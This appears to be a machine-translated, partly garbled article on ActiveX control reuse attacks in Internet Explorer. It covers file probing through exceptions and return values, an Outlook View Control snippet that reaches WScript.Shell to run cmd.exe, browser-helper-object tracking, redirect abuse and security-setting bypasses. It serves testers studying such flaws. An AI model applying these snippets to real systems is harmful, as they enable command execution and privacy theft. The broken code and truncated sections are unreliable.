Tips and techniques for special ActiveX reuse attacks

In this article, I will not discuss the basic attack scheme of ActiveX controls. Here I will discuss how to use a lot of interesting tips and technologies to develop and utilize ActiveX controls, whether you are a Penetration Tester or a member of the underground computer, you can use these tips and techniques during testing. Of course, you must first master its basic knowledge, so that you will not encounter any difficulties while reading this article, thus affecting your enthusiasm. Next I will describe and write the example code to discuss some technologies worth understanding in special circumstances. By the way, to avoid jail or job loss, make sure that you have the permission to execute the following technology on the network of an organization or enterprise, I strongly recommend that you have a printed license file.=> 0 × 01 [Exception Handling: Use try-catch]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In general, ActiveX controls do not disclose the files stored on the local hard disk. However, ActiveX controls often provide attackers with the useful information returned to Internet Explorer. To return these exceptions in JavaScript, add a try-catch block to the test code that calls the method or attribute that generates the error message. Basically, these vulnerabilities exist in methods or attributes named Load, Open, or * File. Basically, you need to test any attempt to load or open a file. The following is a simple example of how to build a test case, but it is not necessarily perfect. In this example, an attacker wants to confirm whether there is a file with the ConfigLocation attribute set for the ActiveX control. If the file is successfully loaded, the code will not enter the catch part; if the file is not loaded, the Code will enter the catch part. <OBJECT id = "AX" classid = CLSID: 12345678-1234-1234-1234-123456789ABC> <script> try {AX. ConfigLocation = "c: \ secret.txt"; Alert ("File exists !");} Catch (oException) {alert ("File does not exist") ;}</script> only causes the code to enter the catch part because of an exception in the control, which does not necessarily mean that the File does not exist. Potentially, many events may fail during loading (such as canceling cross-domain warnings), which may also lead to errors. However, if the control provides error details, attackers can find them. When the code encounters a catch Block, different errors are represented by different numbers. This particular example describes how the ConfigLocation attribute works: 1. get the file name value 2. first, check that the extension name is .xmlor .txt 3. check whether the file exists. 4. finally, check whether it is a valid XML file. Here, at least three different locations may cause errors. This is also the reason why different error numbers returned will provide important information to attackers. To analyze the specific information, hongkexy.com allows attackers to add logic in their catch statements to find specific exception numbers, as shown below: <OBJECT id = "AX" classid = CLSID: 12345678-1234-1234-1234-123456789ABC> <script> try {AX. configLocation = "c: \ secret.txt"; Alert ("File exists! ");} Catch (oException) {// This number indicates that the object does not exist if (oException. number = "2471683291") {alert ("File does not exist");} else {alert ("File exists! ");}} </Script> www.2cto.com, by the way, I will prompt that, in typical cases, if the exception numbers for different error events are the same, the exception description (or message) attributes will also be the same. But this is not always the case. It also depends on where to set the description of the Code.==> 0 × 02 [return value]~~~~~~~~~~~~~~~~~~~~ The programmer may have done a good job and confirmed that the file exists and does not exist. The exceptions that can be captured cannot be differentiated, but there are actually other ways to find out whether the file actually exists. So what will the * Load method return? For example, consider the following code in idea, which calls an OpenFile method. If you have tried the try-catch Method and several other use cases, everything looks good. <Script> OpenFile ("c: \ secret.txt"); </script> after further research, you will understand that the return value of OpenFile is a Boolean value. Interesting. What happens when attackers want to use it? <Script> // The returned value is true. if (OpenFile ("c: \ secret.txt") Exists in the File; {Alert ("File Exists !");} Else {Alert ("File Does Not Exist") ;}</script> the returned value of OpenFile is a Boolean value (although it works fine with the long value or other data types ), you can use it as needed. Take a closer look at the returned values in this example and tell you whether the file exists. I will talk about a trick here, that is, in addition to using try-catch and considering the return value, do not forget to consider the event as well. Sometimes the number of times an event is triggered may also leak information. A more subtle issue is timed attacks. Even if the control does not disclose anything and cannot load a configuration file, the events it spends may allow attackers to know if someone is trying to parse the file.==> 0 × 03 [embedded object]~~~~~~~~~~~~~~~~~~~~~~~ I love this secret: Once the script engine in Internet Explorer has an interface pointer, it is no longer safe on its own and inside. This means that you can access insecure objects through security objects without warning, which also means that those security objects are not actually safe. Continue to see the example below. Microsoft Office Outlook View Controls are useful to providers and developers who want to integrate Outlook functions with Internet solutions for other plug-ins. In this example, this control is also proved insecure. The example shows how an ActiveX control allows scripts on Web pages to access stronger COM objects, while Internet Explorer never allows scripts to create these COM objects. <Object id = "ViewControl" classid = "clsid: 0006F063-0000-0000-C000-000000000038"> <param name = "Folder" value = "Inbox"> </object> <script function> DoIt () progress/k echo ProofOfConcept ");} setTimeout (" DoIt () ", 2500); </script> how does it work? The attacker first specifies a prarm in the <object> label as Inbox, because Inbox is one of the most likely folders containing entries. <Object id = "ViewControl" classid = "clsid: 0006F063-0000-0000-C000-000000000038 "> <param name =" Folder "value =" Inbox "> </object> the first script to run is SetTimeOut (" DoIt (), 2500); call it, wait 2.5 seconds (the attacker needs this time, because sometimes Outlook needs a little time to talk to the email server and load Inbox ). Then, when the script calls a function (DoIt), the content that actually works is in this function. Function DoIt () functions/k echo ProofOfConcept ");} How does function DoIt work? OItem = ViewControl. object. selection. Item (1); ViewControl. object locates the object model of the control, which is better than talking to Internet Explorer. The latter ignores this situation: If ViewControl. selection is referenced instead of ViewControl. object for development, Internet Explorer returns some different content for the Selection attribute. ViewControl. object. selection is a set of MailItem objects. Even if it is not directly created by JavaScript, it can be stored in JavaScript variables. Note: When creating a test case, make sure that you call the object itself instead of the Internet Explorer Document Object Model. You can set breakpoints in the debugger and use additional objects in the script. Because ViewControl. object. selection is a set that supports the Item method to return a single entry from the set, therefore, attackers can obtain the first entry in Inbox and put it into oItem (the Outlook set is based on 1, which is different from the Internet Explorer set and the latter is based on 0 ). The Outlook View control is no longer referenced by the script engine. Now, the script has a regular Outlook MailItem object. The MailItem object is not safe, but there is no alarm prompt because it is created by the Outlook View control instead of Internet Explorer. By the way, it is important to note that the object created by the control does not belong to the Internet Explorer security model. This means you also need to test the security issues of other objects, even if your programmers do not write these objects. Because your control treats those objects as safe as the browser. OWSh = oItem. Session. Application. CreateObject ("WScript. Shell"); what attributes and methods does this object support? After verification, the script can first obtain the Session of the message transmission Application programming interface, and then obtain the main Outlook. Application object. This object has a CreateObject method, which creates a COM object in the local system. Therefore, Windows Script Host WScript. Shell object (which can run any command) is a good choice. Owsh.run(cmd.exe/k echo ProofOfConcept "); Generally, WScript. Shell objects are non-scripted, because Internet Explorer without low security settings and prompts cannot create this object in the script. However, the Outlook View Control creates the Outlook. Application object, and the Outlook. Application object then creates the WScript. Shell object. In this way, the object can be scripted in Internet Explorer. How can we identify these types of objects? Searches for a set of objects, methods, and attributes that can return objects. In fact, I have listed five data types. Pay close attention to them: the IDispatch and IDispatch * objects must be objects. Note that the asterisk (*) In the suffix indicates that this type is a pointer rather than a value. Hongke Institute VARIANT and VARIANT * mean that the data type is ambiguous and may contain any content (including objects ). Note: The VARIANT data type without asterisks can still contain interface pointers. · The data type is determined to the object in the View window of the debugger. · Data types include variables that can return [object] With alert (variable) in Internet Explorer. · Unrecognized data types. I will provide a tip: The TypeName function of VBScript returns the type of the specified object when running.==> 0 × 04 [control persistence-browser help object (BHO)]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Consider the COM component that is not followed when the HTML page is uninstalled. BHO is an example of this component. They are different from ActiveX controls, because they are usually loaded when Internet Explorer is started or when you click a menu item, and they are used for different events (for example, locate the Web page and submit the table) to respond. BHO has full access permissions to systematically manipulate all content on Web browsers and Web pages. BHO can be scripted from web pages, and they are as vulnerable to reuse attacks as other ActiveX controls. If your control has the BHO function, or the control remains active after the user leaves the page, you need to carefully consider the following example of the control, it allows malicious users to track the Internet usage of victims. Tip: during your test, you should not regard every ActiveX control as an independent unit, but as part of a larger environment. This feature is used to manage the Web server's negotiation thread and appears when a specific page is opened in Internet Explorer. This feature displays the negotiation toolbar at the bottom of the application window. Then, you can use commands in the toolbar to add a negotiation server, specify the negotiation information to be displayed, or specify a specific Web page or Directory on the Web server in advance. In this particular case, the following two interesting methods are provided for the control: · enable the negotiation toolbar · set the default negotiation server apart from the weaknesses in the communication mechanism with the server, the control itself does not seem to be harmful. Once the negotiation toolbar is activated, the control communicates with the specified server to check whether the server has negotiated a specific URL. The HTTP request is used to complete the content. The HTTP request is sent in the URL of the page. The user is used as a parameter to query strings. By the way, remember that ActiveX controls and BHO are essentially Win32 executable programs. Some tools, such as Network Monitor and other security testing tools, are invaluable in helping you evaluate the actual behavior of controls. Do not assume that the browser generates all network traffic. In this way, attackers can start the toolbar and set their servers as default servers. Then, attackers only need to browse their network log files to view the sites accessed by the victims. If a site sends session information or other private information in the query string parameter (or even in the Secure Sockets Layer) when the victim logs on or submits sensitive information, this is more harmful to the site.==> 0 × 05 [server redirection]~~~~~~~~~~~~~~~~~~~~~~~~~~~ Although I didn't write too many Web-based test cases in my Blog, if you are a regular visitor, I will find that I have mentioned and used server redirection technology many times in my articles, we can see how important this technology is. If your control requires the user to determine whether the security is based on the domain in the URL, or to submit a URL to the user, the user must be allowed to process the URL in a way that may be insecure, then you need to test the server redirection. Assume that the control only has the unique method LoadFromURL. This method accepts a parameter and a URL string value to load. Like the following code: <script> AX. LoadFromURL ( http://www.good.example.com/goodpg.asp ); </Script> when this method is called, a dialog box is displayed asking you if you really want to load files from the good.example.com domain. Users trust good.example.com, so users trust files. Then, change the URL: <script> var sURL =" http://www.good.example.com/?redir= "; SURL =" http://www.bad.example.com/badpg.asp "; AX. LoadFromURL (sURL); </script> the dialog box is displayed again, asking if you want to load the page from good.example.com. The user trusts good.example.com, so click OK. Therefore, the control will load the file from bad.example.com. Why is this happening? Redirection is completely legal, and many websites do this. In this example, a page exists on the good.example.com site, which can redirect users to other pages of the site. How does this work? ASP captures the request value of the redir query string and releases the Response. Redirect command to place it as the URL to be redirected in the redir query string (bad.example.com. Then Response. Redirect responds to a 302 (the object has been transferred) or similar HTTP Response to the client, with a new address (bad.example.com) requesting the client request ). Attackers use this control and server redirection to trick users into loading files from a URL they may not trust. APIs available by some developers automatically support redirection, so they are hidden under the representation. In fact, it serves attackers.==> 0 × 06 [bypassing browser security settings]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In Internet Explorer 8, Internet Explorer has made great efforts to mitigate local cross-site scripting attacks from the Internet. To implement a complete solution for local cross-site scripting attacks, ActiveX controls should also comply with specifications and cannot be redirected to local content. If Internet Explorer disables this redirection and your ActiveX Control redirects to the local content, this ActiveX control will become a method that attackers may use to bypass Internet Explorer security settings. To locate these vulnerabilities, first determine the location where the control Loads files or uses URLs. Next, try to use these elements of the ActiveX control to load the local file. Finally, you can evaluate your effort by viewing the behavior of the control or using other tools (such as FileMon. Here is a brief example of how it works: <objectclassid = "clsid: {12345678-1323-3214-3211-34514321342-} "id =" objBuggy "> </object> <script> // The control loads the URL specified by the script in a new window, it will process HTMLobjBuggy in this window. isEditMode = 1; // Well redirected to a local file // note that using the same script in IE Browsers without this ActiveX control will fail, // because the security policy of IE will block this behavior objBuggy. showHTMLWindow; </script>==> 0 × 07 [namespace and Behavior]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Binary behavior works like ActiveX controls. It is bound to a specific HTML Tag and can be initialized with tag attributes or scripted by referencing tag IDs or names. Behavior has the ability to control all aspects of HTML elements (capture events, set values, and so on ). In terms of security, binary behavior is like ActiveX control. Programmers of a specific ActiveX control use the ImportList method of the control to execute a binary action to block Potential Malicious attacks. In normal usage, the control is loaded as a behavior of the <input type = file/> element, the following code: <object classid = "clsid: {BDEADE9E-C265-11d0-BCED-00A0C90AB50F} 'id = "LauncherObj" style = "display: none; "> </object> <input id =" SpreadsheetFile "Type =" file "Name =" SpreadsheetFile "style =" behavior: url (# LauncherObj ); "> HTML element <input type = file/> does not allow the script to set the value attribute (including the file name to be uploaded). Otherwise, malicious Web sites can upload arbitrary files from users' hard disks. Therefore, the control programmer must add a security check to determine that the control can only be bound to the <input> element of HTML of Type = file. How can attackers bypass the security mechanism of such binary behavior? There is no way for the control to directly access the file through the input element. In another way, attackers must fool the control to make it think it is loaded into an input element, but in fact some other elements are bound to this behavior. This is implemented by using HTML namespace and extensions. In short, the namespace can be added to any HTML document, as shown in the following code: ==> 0 × 08 [Conclusion]~~~~~~~~~~~~~~~~~~~ At the end of the article, I have to remind you that ActiveX controls are easily designed for automated operations. By using this, the control may re-introduce the features and functions of the vulnerability for automatic detection. Just like the automated implementation code that I customize for myself Based on Remote Authentication intrusion (more specifically, one-stop service, such as scanning, vulnerability exploitation, and self-implantation ).